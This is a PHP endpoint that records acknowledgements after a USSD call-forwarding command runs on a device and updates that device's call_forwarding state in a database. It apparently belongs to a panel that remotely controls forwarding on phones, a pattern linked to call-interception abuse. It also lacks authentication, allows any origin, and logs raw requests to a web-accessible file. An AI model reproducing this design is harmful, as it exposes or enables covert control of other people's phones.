<?php
/**
 * ACK Trigger Endpoint
 * Updates device status after call forwarding USSD completes
 * 
 * Location: /admin/userapi/ack_trigger.php
 */

ini_set('display_errors', 0);
error_reporting(E_ALL);

header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit;
}

// Load database
$paths = [
    __DIR__ . '/../includes/db.php', 
    __DIR__ . '/../adminapi/includes/db.php'
];
foreach ($paths as $p) { 
    if (file_exists($p)) { 
        require_once $p; 
        break; 
    } 
}

if (!isset($pdo) || !$pdo) { 
    http_response_code(500); 
    echo json_encode(['success' => false, 'message' => 'DB not loaded']); 
    exit; 
}

$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

// Accept JSON or form data
$raw = file_get_contents('php://input');
$in = json_decode($raw, true);
if (!is_array($in)) {
    $in = $_POST;
}

// Extract fields - support multiple field names for compatibility
$deviceId = trim($in['device_id'] ?? $in['deviceId'] ?? '');
$msg = trim($in['message'] ?? $in['ack_message'] ?? '');
$callForwarding = $in['call_forwarding'] ?? $in['callForwarding'] ?? null;
$triggerStatus = $in['trigger_status'] ?? $in['triggerStatus'] ?? 0;

// Debug log (optional - remove in production)
file_put_contents(__DIR__ . '/ack_debug.txt', date('Y-m-d H:i:s') . " - " . json_encode($in) . "\n", FILE_APPEND);

if ($deviceId === '') {
    http_response_code(400);
    echo json_encode(['success' => false, 'message' => 'device_id required']); 
    exit;
}

// Strip 4-byte emoji if db not utf8mb4
$msg = preg_replace('/[\xF0-\xF7][\x80-\xBF]{3}/', '', $msg);

try {
    // Build SQL dynamically
    $sql = "UPDATE devices SET 
            ack_message = :msg,
            ack_time = NOW(),
            trigger_status = 0";
    
    $params = [
        ':msg' => ($msg !== '' ? $msg : 'ACK'),
        ':id' => $deviceId
    ];
    
    // IMPORTANT: Update call_forwarding if provided
    $cfUpdated = false;
    if ($callForwarding !== null && $callForwarding !== '') {
        $cf = (int)$callForwarding;
        $sql .= ", call_forwarding = :cf";
        $params[':cf'] = $cf;
        $cfUpdated = true;
    }
    
    $sql .= " WHERE device_id = :id";
    
    $stmt = $pdo->prepare($sql);
    $stmt->execute($params);
    
    $rowsAffected = $stmt->rowCount();
    
    echo json_encode([
        'success' => true,
        'message' => 'ACK stored',
        'call_forwarding_updated' => $cfUpdated,
        'call_forwarding_value' => $cfUpdated ? (int)$callForwarding : null,
        'rows_affected' => $rowsAffected
    ]);
    
} catch (Throwable $e) {
    http_response_code(500);
    echo json_encode(['success' => false, 'message' => 'Database error: ' . $e->getMessage()]);
}